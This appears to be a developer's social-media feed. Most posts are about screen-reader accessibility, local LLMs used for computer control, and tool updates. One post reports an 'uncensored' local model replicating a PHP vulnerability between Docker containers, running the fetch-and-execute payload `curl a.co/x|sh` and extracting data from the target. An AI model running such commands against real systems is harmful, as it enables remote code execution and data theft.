Wow, I finally upgraded my old PC to Windows 11. I’m spending a lot of time configuring it to work like Windows 10. lol

As a blind person, I always had to bug someone if I want to change bios settings. However, using an HDMI-to-USB-C video capture card, I was able to update the BIOS on my computer and change a bunch of settings with Codex. I told it what I wanted to do, and it guided me through all the menus by telling me how many times to press each arrow key and which keys to press. It was like having a very knowledgeable and endlessly patient sighted person helping me. Thanks @jcsteh for the tip! #LLM #AI

Here’s an interesting angle I heard: Some people think escalating cybersecurity risks benefit AI labs. Cyber threats are hitting the #cybersecurity industry at firehose speed, leaving organizations little choice but to deploy AI at a much larger scale for defense. Humans simply won’t be able to keep up with the speed and volume of attacks, which could mean significantly more token usage and spending on #AI.

For fun, I asked my uncensored local model, Qwen-3.8-Flash-Next, to set up two Docker containers, one as the attacker and one as the target, and replicate the latest PHP vulnerability that was just discovered.
After a couple of hours, it was able to execute a 14-byte payload, `curl a.co/x|sh` and run a script to extract a bunch of stuff from the target. lol
To be clear, it searched for the bug and replicated it. It did not discover the vulnerability on its own. #AI #LLM #PHP #cyber

Here's a mystery behavior on VoiceOver on macOS! VO+Space stopped working on anything identified as buttons, pop-up buttons, checkboxes, etc. VO+Space does work normally on anything that does not indicate button, checkbox, or other control. I tried rebootting, resetting all VoiceOver settings from VoiceOver utilities. Could anyone suggest a fix or offer a theory about what might be causing this? I would also appreciate boost. #accessibility #MacOS #VoiceOver @FreakyFwoof @vick21 @ZBennoui

Testing VOCR with a local model for computer use! Qwen3.8-Flash-Next is the first local model small enough to run on my M3 Max with 64 GB that could tackle my UI challenge.
More stats on the video description, but it's pretty slow. I edited out all the waiting for the model to respond for demo purposes. It actually took about 39 minutes from start to finish.
I'm pretty hopeful about potential and possibilities for #accessibility with #AI!
https://youtu.be/HYWOVqt5km0
@vick21 @ZBennoui @FreakyFwoof

😲 OMG, #Qwen3.8-Flash-Next-oQ4e-mtp on oMLX is the first local model I could run on my M3 Max 64 GB that could tackle my benchmark for #ComputerUse with custom GUI and custom harness. It scored 23/25! It's very slow on my machine, with prompt processing at 201.3 tok/s and token generation at 22.8 tok/s, because I could only offload 50% of the experts. Nonetheless, I'm very impressed because all the local models I tried previously weren't even able to complete the first level.
#AI #LLM @vick21

@FreakyFwoof All your VOCR problems are hopefully gone in the latest beta. Please try it and let me know. There are a lot of changes, so check out the changelog. Also, I'd appreciate if you could boost my previous post for release announcement. Thanks a bunch!

Does anyone know a way to turn off transcription on Whatsapp? It makes it annoying to navigate long message list with VoiceOver on iOS.

🤔 Ok, I am not sure what to think of Moltbook, a Reddit-style social network where only AI agents can post and humans can observe. It launched a couple of days ago, and it already has 148,027 AI agents, 12,326 submolts, 11,793 posts, and 120,695 comments. Is this a waste of energy, interesting experiment, or something else? lol #LLM #AI https://www.moltbook.com/

@mcourcel @FreakyFwoof @pixelate Oh, forgot to mention that you have to toggle use screen reader in the chat menu.

gemma2-9b seems to be the smallest model that can decode base64 string. Try this prompt, and you should get the same text as my previous post: "Decode the following base64 Encoded String: T01HLCBJJ3ZlIHNlZW4gYSBmZXcgcG9zdHMgYWJvdXQgaG93IGJpZyBvcGVuIHNvdXJjZSBtb2RlbHMgbGlrZSBsbGFtYS0zLjEtNzBiLCBtaXN0cmFsLWxhcmdlLCBldGMgY2FuIGRlY29kZSBiYXNlNjQgZW5jb2RlZCBzdHJpbmcuIEkndmUgdHJpZWQgd2l0aCBsbGFtYS0zLjEtNzBiLCBhbmQgaXQgZGlkIHdvcmshIFRoYXQncyB2ZXJ5IGludGVyZXN0aW5nISAjTExNICNNTCAjQUk="

Wow, maybe GPT-4O is correct? lol According to Wikipedia, "In Germany, Central and Eastern Europe, and Scandinavia...the note a semitone below C is called H." https://en.wikipedia.org/wiki/B_(musical_note)#:~:text=Variation%20of%20meaning%20by%20geographical%20region,-The%20referent%20of&text=However%2C%20in%20Germany%2C%20Central%20and,below%20C%20is%20called%20H.

3/3 Sincere apology for the spam due to my incompetence! Apparently, I don't know how to create a thread properly. Third time's a charm! Those of you who use other local LLM UIs with screen readers, could you share your experience? Please check out the thread to see my experience with some popular ones. #accessibility #LLM #AI @patricus @vick21 @tayarndt @FreakyFwoof @bryansmart @ZBennoui @Woody @miki @simon @jscholes @pixelate @kaveinthran

2/3 Koboldcpp and LM-Studio were annoying but usable, with some unlabeled buttons. Open WebUI had too many unlabeled buttons, making it unclear what each does. The least accessible was GPT4All with its QT interface. Accessibility can be subjective with different priorities, so I still prefer my own client, VOLlama. lol #accessibility #LLM #AI

@JonathanMosen Sorry for specifically tagging you, but do you have any thought on the BeMyEyes privacy policy re images and videos you submit to the platform? It's too long to include in one post, but I pasted the relevant quotes in this thread. Should blind folks just say no such thing as free lunch and move on?

BeMyEyes Privacy Policy 2/2: If you use Be My AI, the images you submit will be processed by our third party artificial intelligence provider. If your video or image contains personal information - for example you say your name on the video or show mail with your home address - that information will be included in videos or images that we store and use as described above.

@kaveinthran @Bri @FreakyFwoof @pixelate It's quite interesting to index using various chunk sizes and to query using different similarity cutoffs, observing what is sent to the model!

@vick21 @FreakyFwoof @KyleBorah @talon @pixelate @Bri @pitermach Those of you who updated to build with autoupdate feature, can you check for update from menu, and see if you can update to alpha.20? Alph.20 will push update alert through notification center without you having to check updates.

@vick21 @talon @pixelate @KyleBorah @FreakyFwoof @Bri @pitermach Too many things happened in one week. Settings has now too many stuff. Any suggestion on how to organize the big menu? lol